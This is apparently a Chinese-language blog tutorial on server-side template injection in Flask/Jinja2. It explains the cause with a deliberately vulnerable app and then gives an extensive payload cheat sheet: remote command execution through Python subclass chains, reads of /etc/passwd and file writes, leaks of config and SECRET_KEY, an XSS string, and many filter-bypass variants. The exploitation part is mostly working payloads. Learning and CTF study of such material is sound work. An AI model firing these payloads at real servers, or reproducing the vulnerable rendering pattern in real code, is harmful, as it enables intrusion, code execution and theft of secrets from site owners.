• Python SSTI漏洞学习总结


    什么是SSTI?

    SSTI(Server Side Template Injection,服务器端模板注入),而模板指的就是Web开发中所使用的模板引擎。模板引擎可以将用户界面和业务数据分离,逻辑代码和业务代码也可以因此分离,代码复用变得简单,开发效率也随之提高。
    服务器端使用模板,通过模板引擎对数据进行渲染,再传递给用户,就可以针对特定用户/特定参数生成相应的页面。我们可以类比百度搜索,搜索不同词条得到的结果页面是不同的,但页面的框架是基本不变的。

    Flask初识

    Flask快速使用

    # 安装虚拟环境
    pip install virtualenv
    # 生成虚拟环境
    virtualenv venv
    # 激活环境
    ./venv/Scripts/activate.bat
    # 安装Flask
    pip install flask
    
    # 官方提供的测试代码,保存为test.py
    from flask import Flask
    # 使用模块名作为应用名
    app = Flask(__name__)
    
    # 路由:即web访问路径
    @app.route('/')
    def hello_world():
        return 'Hello World!'
    
    if __name__ == '__main__':
        # 启动Flask应用
        app.run()
    

    在venv下创建code目录用来存放代码,运行test.py,然后进入http://127.0.0.1:5000/,可以看到网页上显示了Hello World!,代表app启动成功。

    Flask中的Jinja2

    在Python中,该漏洞常见于Flask(一个轻量级Web应用框架)模块中,Flask使用Jinja2作为模板引擎,Jinja2支持以下语法进行数据渲染:

    • {{}}:将花括号内的内容作为表达式执行并返回对应结果。

      # 会被解析为12
      {{3*4}}
      
    • {%%}:用于声明变量或条件/循环语句

      # 使用set声明变量
      {% set s = 'Tuzk1' %}
      # 条件语句
      {% if var is true %}Tuzk1{%endif%}
      # 循环语句
      {% for i in range(3) %}Tuzk1{%endfor%}
      
    • {##}:注释

    • 详细用法可以查看官方文档:http://docs.jinkan.org/docs/jinja2/templates.html

    Flask渲染

    from flask import Flask, render_template
    app = Flask(__name__)
    
    @app.route('/')
    def hello():
        return 'Hello World'
    
    # 配置路由为/test
    @app.route('/test')
    def test():
        param = '斯巴拉西'
        # 指定渲染页面,这里会自动在同级目录中的templates寻找指定文件,即等价于render_template('./templates/hello.html', param=param),该函数用于渲染一个页面
        # render_template_string函数则是用于渲染一个字符串,如'<h1>%s</h1>' % 'Hello World'
        return render_template('hello.html', param=param)
    
    if __name__ == '__main__':
        app.run()
    
    <!-- hello.html -->
    <html>
    	<h1>Hello World!</h1>
    	<h2>{{param}}</h2>
    </html>
    

    运行,访问http://127.0.0.1:5000/test:

    漏洞原理

    有了以上关于Flask的基础知识,我们就可以来看看漏洞是如何产生的了。由于对用户输入过滤不严,攻击者可以通过构造恶意数据,使服务器模板引擎渲染这部分数据,从而达到读取文件、RCE等目的。

    下面,我们来看一下分析一下存在SSTI漏洞的代码和不存在漏洞的代码,对比学习,体会一下这个漏洞的原理。

    • 存在SSTI漏洞的代码

      from flask import Flask, request, render_template_string
      from jinja2 import Template
      app = Flask(__name__)
      
      @app.route('/')
      def index():
          name = request.args.get('name', default='guest')
          t = '''
              <html>
                  <h1>Hello %s</h1>
              </html>
              ''' % (name)
          # 将一段字符串作为模板进行渲染
          return render_template_string(t)
      
      """这样的代码同样存在漏洞
      def index():
          name = request.args.get('name', default='guest')
          t = Template(
              '''
              <html>
                  <h1>Hello %s</h1>
              </html>
              ''' % name
          )
          # 对模板对象进行渲染
          return t.render()
      """
      app.run()
      

      使用{{10-1}}作为参数id传入,可以看到表达式被成功执行,这就是SSTI漏洞出现的特征。

    • 不存在漏洞的代码

      from flask import Flask, request, render_template
      app = Flask(__name__)
      
      @app.route('/')
      def index():
          name = request.args.get('name', default='guest')
          # 
          return render_template('index.html', name=name)
      
      app.run()
      

    通过观察以上代码,我们可以发现漏洞出现的原因:服务器端将用户可控的输入直接拼接到模板中进行渲染,导致漏洞出现。反之,要解决该漏洞,则只需先将模板渲染,再拼接字符串。

    深入到Flask渲染函数原理来讲,render和render_template_string由用户拼接,字符串不会自动转义,而render_template会对字符串计进行自动转义,因此避免了参数被作为表达式执行。

    漏洞利用

    利用思路

    这里以通过SSTI进行RCE为例,基本的利用思路为:

    • 随便找个倒霉的内置类:[]、""
    • 通过这个类获取到object类:__base__、__bases__、__mro__
    • 通过object类获取所有子类:__subclasses__()
    • 在子类列表中找到可以利用的类
    • 直接调用类下面函数或使用该类空间下可用的其他模块的函数

    魔术方法

    为此,我们需要用到以下魔术方法:

    魔术方法 作用
    __init__ 对象的初始化方法
    __class__ 返回对象所属的类
    __module__ 返回类所在的模块
    __mro__ 返回类的调用顺序,可以此找到其父类(用于找父类
    __base__ 获取类的直接父类(用于找父类
    __bases__ 获取父类的元组,按它们出现的先后排序(用于找父类
    __dict__ 返回当前类的函数、属性、全局变量等
    __subclasses__ 返回所有仍处于活动状态的引用的列表,列表按定义顺序排列(用于找子类
    __globals__ 获取函数所属空间下可使用的模块、方法及变量(用于访问全局变量
    __import__ 用于导入模块,经常用于导入os模块
    __builtins__ 返回Python中的内置函数,如eval

    寻找可利用类

    # 获取对象所属的类
    ''.__class__
    <class 'str'>
    ().__class__
    <class 'tuple'>
    [].__class__
    <class 'list'>
     "".__class__
    <class 'str'>
    
    # 获取父类
    >>> ''.__class__.__base__
    <class 'object'>
    >>> ''.__class__.__bases__
    (<class 'object'>,)
    >>> ''.__class__.__mro__
    (<class 'str'>, <class 'object'>)
    
    # 获取子类
    ''.__class__.__base__.__subclasses__()
    ''.__class__.__bases__[0].__subclasses__()
    ''.__class__.__mro__[-1].__subclasses__()
    

    写个脚本跑一下,看看哪个类可以用,我这里是138和479可以用。

    import re
    
    # 将查找到的父类列表替换到data中
    data = r'''
        [<class 'type'>, <class 'weakref'>, ......]
    '''
    # 在这里添加可以利用的类,下面会介绍这些类的利用方法
    userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']
    
    pattern = re.compile(r"'(.*?)'")
    class_list = re.findall(pattern, data)
    for c in class_list:
        for i in userful_class:
            if i in c:
                print(str(class_list.index(c)) + ": " + c)
    

    构造payload

    于是构造payload,可以获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写:

    • 获取配置信息

      # 获取配置信息
      {{config}}		# 能获取到config,它包含了如数据库链接字符串、连接到第三方的凭证、SECRET_KEY等敏感信息
      {{request.environ}}	# 服务器环境信息
      
    • XSS

      # XSS(本文主要讲SSTI的RCE姿势,XSS过滤不展开讲)
      name=<script>alert(/YouAreHacked/)</script>
      
    • RCE

      # 利用warnings.catch_warnings配合__builtins__得到eval函数,直接梭哈(常用)
      {{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()}}
      
      # 利用os._wrap_close类所属空间下可用的popen函数进行RCE的payload
      {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
      {{"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
      
      # 利用subprocess.Popen类进行RCE的payload
      {{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
      
      # 利用__import__导入os模块进行利用
      {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
      
      # 利用linecache类所属空间下可用的os模块进行RCE的payload,假设linecache为第250个子类
      {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
      {{[].__class__.__base__.__subclasses__()[250].__init__.func_globals['linecache'].__dict__.['os'].popen('whoami').read()}}
      
      # 利用file类(python3将file类删除了,因此只有python2可用)进行文件读
      {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').read()}}
      {{[].__class__.__base__.__subclasses__()[40]('etc/passwd').readlines()}}
      # 利用file类进行文件写(python2的str类型不直接从属于属于基类,所以要两次 .__bases__)
      {{"".__class__.__bases[0]__.__bases__[0].__subclasses__()[40]('/tmp').write('test')}}
      
      # 通用getshell,都是通过__builtins__调用eval进行代码执行
      {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
      # 读写文件,通过__builtins__调用open进行文件读写
      {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
      

    常见绕过

    过滤单双引号

    • 通过request传参绕过(过滤命令时可用,当然,一般是不会起这么嚣张的参数名的[doge])

      # request.values
      {{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&rce=cat /flag
      # request.cookies
      {{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.cookies.rce).read()}}
      Cookie: rce=cat /flag;
      # 还有request.headers、request.args,这里不作演示
      
    • 获取chr函数,赋值给chr,拼接字符串

      {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
      # %2b是+的url转义
      {{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
      

    过滤中括号

    # 原payload,可以使用__base__绕过__bases__[0]
    "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
    # 通过__getitem__()绕过__bases__[0]、通过pop(128)绕过__subclasses__()[128]
    "".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
    
    # 原payload
    [].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
    # 绕过
    [].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
    

    过滤双下划线

    # request妙用,绕过
    {{''[request.args.a][request.args.b][2][request.args.c]()}}&a=__class__&b=__mro__&c=__subclasses__
    
    # request传参绕过
    # request.args
    {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
    # request.cookies
    {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}
    Cookie: class=__class__; mro=__mro__; subclasses=__subclasses__;
    # 还有request.headers、request.args
    

    过滤关键字

    • 拼接字符串

      'o'+'s'
      'sy' + 'stem'
      'fl' + 'ag'
      
    • 编码:Base64、rot13、16进制......

    • 大小写绕过

    • 过滤config

      # 绕过,同样可以获取到config
      {{self.dict._TemplateReference__context.config}}
      

    过滤双花括号

    • {% + print绕过

      {%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}
      

    通用getshell

    • 过滤引号、中括号

      {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %} {% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}
      
    • 过滤引号、中括号、下划线

      # 使用getlist,获取request的__class__
      {{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
      # 拆解一下,等价于下列payload
      {{request|attr('__class__')}}
      {{request['__class__']}}
      {{request.__class__}}
      
      # 获取__object__
      {{request|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
      # 通过flask类获取会更快
      {{flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
      
    • 过滤引号、中括号、下划线、花括号(综合大应用),可能会有一点点复杂:)

      # 打印子类并找到可以利用的类
      {%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)())%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_
      
      # 然后稍微加一点难度
      # 目录-寻找可利用类 中用到的脚本跑一下,得到os._wrap_close的序号为138(这里用这个类来演示),于是:
      {%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_&l4=d&d=_&d=_&d=getitem&d=_&d=_&l5=e&e=_&e=_&e=init&e=_&e=_&l6=f&f=_&f=_&f=globals&f=_&f=_&rce=whoami
      # 等价于
      {{''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read()}}
      

    结语

    写到后面,我认为后面绕过这部分应该多出现于比赛当中,在实际环境中没什么用,因此没必要花太多时间研究。

    这篇文章花了三天才写完,中途参考了很多师傅的文章(测试payload页测试到手麻了qwq),非常感谢这些师傅。

    参考文章

    SSTI模板注入漏洞——https://blog.csdn.net/CaiNiaoLW/article/details/110213962
    浅谈SSTI——https://www.freebuf.com/articles/web/290756.html
    SSTI模板注入(Python+Jinja2)——https://xz.aliyun.com/t/7746
    vulhub——https://vulhub.org/#/environments/flask/ssti/
    SSTI详解 一文了解SSTI和所有常见payload 以flask模板为例——https://blog.csdn.net/weixin_44604541/article/details/109048578

  • 相关阅读:
    正则替换 html
    黎曼积分:采用任意无限分割时
    A field guide to algebra,theorem 1.1.3
    $\mathbf{R}$上开集的构造
    陶哲轩实分析引理18.2.5
    A field guide to algebra,theorem 1.1.3
    陶哲轩实分析引理18.2.5
    $\mathbf{R}$上开集的构造
    关于勒贝格外测度的一条等式
    Some remarks on definition 1.1.1,A field guide to algebra
  • 原文地址:https://www.cnblogs.com/tuzkizki/p/15394415.html
Copyright © 2020-2023  润新知